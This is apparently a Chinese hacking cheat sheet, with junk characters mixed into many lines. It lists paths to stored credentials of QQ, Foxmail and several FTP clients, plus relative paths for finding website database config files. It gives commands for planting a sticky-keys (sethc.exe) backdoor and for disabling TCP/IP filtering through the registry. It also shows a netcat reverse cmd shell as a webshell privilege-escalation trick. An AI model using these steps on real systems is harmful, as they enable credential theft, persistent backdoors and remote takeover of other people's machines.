0 E2 w- i1 p! c- U! I1 z" dc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
6 O% [# ]: L/ ]8 p* ^. jc:\Program Files\Tencent\qq2008\qq.exe
9 ?& o1 s& o* l7 o: pc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
+ i: m- V# O+ d9 L$ ac:\Program Files\Tencent\Tm\Bin\Txplatform.exe
" X* i3 ^3 a' ~; I0 [6 lc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
* a9 q' G# |8 L7 w+ ?$ W' ^C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
2 d0 \* l+ u6 A, _  U& @c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
. f% b! i/ ^' O( h1 A  B7 xc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
: o+ U  b" x4 v/ v9 K7 S9 P- ?C:\Program Files\FlashFXP\flashfxp.exe
& j% G: e/ \; mc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
# ~# l6 D/ |( ^, S) x4 v0 g* x
3.网站相对路径:
% o1 E9 P6 B6 i+ L% Y# O
3 H" y( a. \2 L8 I: d) T/config.php
' Y4 B6 _" X3 M2 ?6 U+ b+ @1 y7 H../../config.php
../config.php
2 {/ q9 c  G' ]6 _2 s& @0 [../../../config.php
/config.inc.php
/ N7 N/ O) ^' B( F0 E% j./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
* o  w3 F; y. [7 {; f; j../../conn.php
9 M6 D4 ]( l/ O+ i( J, k. _../conn.php
- J- I3 Q: v- E2 l4 j/ E$ ^  Y../../../conn.php
0 V# P5 E9 E/ `1 d: ~( ?/conn.asp
./conn.asp
. q1 G  k% Q6 N% m0 Y+ m, R! J6 Z../../conn.asp
0 R/ B" H5 s- e../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
" w1 p* y9 e+ |( n! Y+ ^../config.inc.php
) ^! ^7 a2 f+ p) Q../../../config.inc.php
9 H& A. v3 M1 L+ y/config/config.php
' m7 r; A. P8 R2 ~4 T../../config/config.php
: ?. v  \1 ^; N3 @../config/config.php
../../../config/config.php
/config/config.inc.php
- n: V7 F+ W  H/ c4 Q./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
: q: m. C3 W( ~../../../config/config.inc.php
$ G6 E2 x+ o, l% m2 v% w2 o- [% M/config/conn.php
./config/conn.php
; B- M5 [' |0 L) h9 N4 n../../config/conn.php
4 s4 ~( P# Z( H9 r6 a6 Z" S../config/conn.php
5 E2 w; X5 K5 P; y6 {% ?( A../../../config/conn.php
/config/conn.asp
./config/conn.asp
6 y3 E" N; s$ x4 @3 n3 N, y: ~  ^../../config/conn.asp
/ e2 T, q6 u! |6 N$ T* ?../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
; k0 Z% h4 G0 X2 J$ T# E4 B../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
# r* H& }; T: Y7 \1 a) Z  T3 ^../data/config.php
" y8 D% \7 u+ l* N../../../data/config.php
: Y1 V; u$ H9 ]( i6 [/data/config.inc.php
  c/ S8 A& f) [) r1 ?/ D& |4 U3 W./data/config.inc.php
../../data/config.inc.php
& k! L- Q6 Q7 W/ O$ P+ `../data/config.inc.php
, h$ [% t1 [4 Z3 ?# s" y../../../data/config.inc.php
/data/conn.php
./data/conn.php
/ \  _$ I  n/ K& w. t. N../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
1 Q7 W1 p0 ~7 O2 B4 a# u. I# \./data/conn.asp
6 C+ R& o% t) ], L9 U- _. }../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
* N( Y. v# e" v7 ~- ^./data/config.inc.php
0 F* [2 N+ O3 O0 Y, R; ]' N../../data/config.inc.php
$ O# ~% V% C8 Q; B; q" O../data/config.inc.php
. }( U0 ?6 G, A6 A& \../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
3 L; M9 J; h- a6 f% e../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
3 z  Q  @6 R! y# V9 L../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
1 \- r6 W& G$ Y8 ]; k2 @8 d& e9 w# ~./include/conn.php
, \% S6 N* C/ F../../include/conn.php
$ L, Y4 M/ {0 c8 O3 m9 _../include/conn.php
" J2 l3 V" ^' @9 ^../../../include/conn.php
/include/conn.asp
7 {& x7 U' b* w6 y% B8 }+ \./include/conn.asp
7 B+ {0 Q$ M* s$ n../../include/conn.asp
1 u$ l8 Y! f$ g/ M../include/conn.asp
$ o) O0 ~8 \9 ~0 h: i* w../../../include/conn.asp
$ L8 j& f+ l' ?5 W+ |/ |5 d7 b, {2 v/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
+ r  D- R8 t# @2 E6 X( M% z& K7 |../../../include/config.inc.php
/inc/config.php
# Q5 l  _( a: b' ^, a# n- f4 a; Q) r../../inc/config.php
5 F8 I9 s  k2 L! T+ R. i6 \../inc/config.php
../../../inc/config.php
/inc/config.inc.php
- i: ^0 u8 \$ g./inc/config.inc.php
" f& ~9 G' Y% c5 x$ ~# n../../inc/config.inc.php
) S4 w" u3 I2 x  c- r0 D../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
# u( T5 r% L1 h4 G' f) L$ p% q./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
2 I' c) }7 Q# M$ o./inc/conn.asp
9 O2 _8 k0 M- e9 J+ h../../inc/conn.asp
8 s, t& x. N% S) T5 j../inc/conn.asp
../../../inc/conn.asp
1 G1 M7 g3 {( g  c/inc/config.inc.php
./inc/config.inc.php
. o1 W0 i+ s$ o/ R- L9 Q7 }; X# Q../../inc/config.inc.php
../inc/config.inc.php
. e9 q* i1 U8 @$ c2 N../../../inc/config.inc.php
/index.php
./index.php
6 f. \. y4 Q2 L4 J- w" i# \../../index.php
! w8 f1 ?1 z8 d. E$ N../index.php
0 S% o% v' l1 p1 u6 t/ j) }! f../../../index.php
+ C' R4 k8 {2 B, H* a5 m1 T8 ?/index.asp
3 B# ~/ o6 w8 X3 }: T: K4 u- d./index.asp
7 Q! q* I- P( F# w0 i6 i6 y../../index.asp
* ~8 L4 v! S" p2 H* \: n" {* |6 w../index.asp
../../../index.asp
替换SHIFT后门
: A9 ^: S# i9 R　attrib c:\windows\system32\sethc.exe -h -r -s
4 @/ V9 Z0 d" P  m
2 P, R) E, u2 P, f1 D　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
& ~% T; V/ E- c& \
; e5 h& x/ l/ E, L# O1 V　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

- m! ]2 k& }; Q+ }8 {+ _　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
& z7 Z5 p' h2 v
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
0 S- g5 Q6 _' X# I" \. d. ?# x去除TCPIP筛选
3 n5 X1 @$ P3 l/ [1 zTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
+ g" i/ Q; m& G2 ~+ @# Z, vHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ g0 O3 E# Q9 G& }/ k
分别用
9 @; D. R6 d" |1 ~* c8 pregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
$ h# y: r! r/ P( R/ }& sregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" D+ Q0 [9 R7 T4 Z0 Z- H命令来导出注册表项

& H4 R6 G5 D. ^; e) b然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
1 D( w6 U5 A6 _7 [3 j
再将以上三个文件分别用
, w* @5 t( m( c7 jregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

- T# }- j, _) A+ x5 O9 u9 b: xwebshell提权小技巧
* R6 U5 P8 L  m! J' y3 ^- Ucmd路径:
  }8 o$ g6 y6 @- @1 s# l9 N0 Pc:\windows\temp\cmd.exe
nc也在同目录下
2 w. N  ~3 A5 f( u4 d例如反弹cmdshell：
8 R, o  Y! l" \"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
: t, t) |; `+ s( S+ e' d  {) S$ L% t; n
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
0 b+ Z2 B$ ^, R* K+ D0 `却能成功。。
* _5 }1 Z/ i( f5 A这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功